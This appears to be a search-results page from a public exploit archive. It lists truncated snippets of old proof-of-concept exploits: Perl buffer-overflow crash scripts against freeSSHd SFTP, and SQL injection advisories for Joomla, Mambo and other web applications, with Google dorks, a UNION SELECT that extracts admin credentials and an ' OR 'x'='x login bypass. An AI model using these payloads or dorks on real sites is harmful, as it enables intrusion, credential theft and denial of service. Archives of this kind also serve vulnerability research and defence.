315 matches found
freeSSHd 1.2.1 - (Authenticated) SFTP 'rename' Remote Buffer Overflow (PoC)
!/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned. use Net::SSH2; $host = "192.168.0.187"; $port = 22; $username = "test"; $password = "test"; $dos = "A" x 550000; $ssh2 = Net::SSH2-new; $ssh2-connect$host, $port || die...
freeSSHd 1.2.1 - (Authenticated) SFTP 'realpath' Remote Buffer Overflow (PoC)
!/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash 2 -- A Product of Fuzzing. Stay Tuned For More. use Net::SSH2; $host = "192.168.0.100"; $port = 22; $username = "test"; $password = "test"; $dos = "A" x 262145; $ssh2 = Net::SSH2-new; $ssh2-connect$host,...
Joomla Simple Shop Galore Component 3.x (catid) SQL Injection
No description provided by source. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ @ Joomla option: comsimpleshop SQL Injection ------------------------------------------------------ @ AUTHOR: eXeCuTeR executerxatgmaildotcom...
CMS MAXSITE 1.10 - category SQL Injection
CMS MAXSITE 1.10 - category SQL Injection CMS MAXSITE Remote SQL Injection Exploit = 1.10 + Author: Tesz @ THD + Home: http://www.thaishadow.com + Forum: http://www.thaishadow.com/board/index.php + Download: http://maxsite.geniuscyber.com/index.php?name=index + Dork: MAXSITE or intitle:"MAXSITE" ...
kq-admin.txt
!/usr/bin/perl use strict; use LWP::UserAgent; print "-+------------------------------------------+-\n"; print "-+- KnowledgeQuest 2.5 Arbitrary Add Admin -+-\n"; print "-+------------------------------------------+-\n"; print "-+- Discovered && Coded By t0pP8uzz -+-\n"; print "-+- This Exploit...
sitesift-sql.txt
powered by Site Sift scripts SQL Injection AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : powered by Site Sift DORK 2 : allinurl: "index php go addpage" DORK 2 : allinurl: "index.php?go=deta...
Site Sift Listings - id SQL Injection
Site Sift Listings - id SQL Injection powered by Site Sift scripts SQL Injection AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : powered by Site Sift DORK 2 : allinurl: "index php go addpage"...
FaScript FaPhoto 1.0 - show.php SQL Injection
FaScript FaPhoto 1.0 - show.php SQL Injection AUTHOR : IRCRASH Dr.Crash Script Download : http://en.fascript.com/en.faphoto.zip Injection Adress : http://Sitename/faname/show.php?id= Help : In This Script Admin Username and Password Save in ./admin/pconfig.php You can open this file with loadfile...
Joomla! Component Acajoom 1.1.5 - SQL Injection
Joomla Component comacajoom SQL Injection Author: fataku Mail : [email protected] Dorks 1 : inurl:"comacajoom" mailingid Sploit:...
Mambo Component com_downloads - SQL Injection
joomla SQL Injectioncomdownloadsfilecatid AUTHOR : S@BUN HOME : http://www.hackturkiye.com DORKS 1 : allinurl :"comdownloads"filecatid EXPLOIT :...
joomlaestate-sql.txt
joomla SQL Injectioncomestateagent AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DorK 1 : allinurl: allinurl: "comestateagent" EXPLOIT : index.php?option=comestateagent&Itemid=S@BUN&func=showObject&info=contact&objid=-9999//union//select//username,password//from//mosusers/&results=S@BUN S@BUN...
FaScript FaMp3 v1 (show.php) Remote SQL Injection Vulnerability
No description provided by source. FaScript FaMp3 v1 Remote Sql Injection BY IRCRASH AUTHO...
Meridian Prolog Manager weak encryption
Weak username/password encryption...
lotfian-sqlxss.txt
Aria-Security Team http://Aria-Security.Net ---------------------------------------- Lotfian Brochure and cataloge Script XSS And SQL Injection Original Advisory @ http://aria-security.net/forum/showthread.php?p=1135 Username/Password Field can run SQL Queries, For Example I got these:...
Irola My-Time 3.5 Remote SQL Injection Vulnerability
No description provided by source. Aria-Security Team http://Aria-Security.Net ----------------------------- Original Advisory @ http://aria-security.net/forum/showthread.php?p=1106 Vendor: http://www.irola.com Username/Password Fields can run SQL Queries. Therefore: We get the Tables:...
Aria-Security.net: Irola My-Time v3.5 SQL Injection
Aria-Security Team http://Aria-Security.Net ----------------------------- Original Advisory and more details @ http://aria-security.net/forum/showthread.php?p=1106 Irola My-Time v3.5 http://www.irola.com Username/Password Fields can run SQL Queries. Therefore: We get the Tables: UserInfo.UserID...
giab-sql.txt
A R I A - S E C U R I T Y Gallery In A Box Username & Password Parameters SQL Injection Vendor: http://www.kerberosdev.net/ http://target.com/adminconsole/index.asp Username: anything' OR 'x'='x Password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net...
gazi-sql.txt
Title : Gazi Okul Sitesi 2007trfotokategori.asp Remote SQL Injection Vulnerability Author : CoNqUeRoR Demo Page : http://www.gazilogo.com Script Page : http://www.aspindir.com/indir.asp?id=4746 Date : 30-03-2007 Vulnerability: -------------------- Username & Password :...
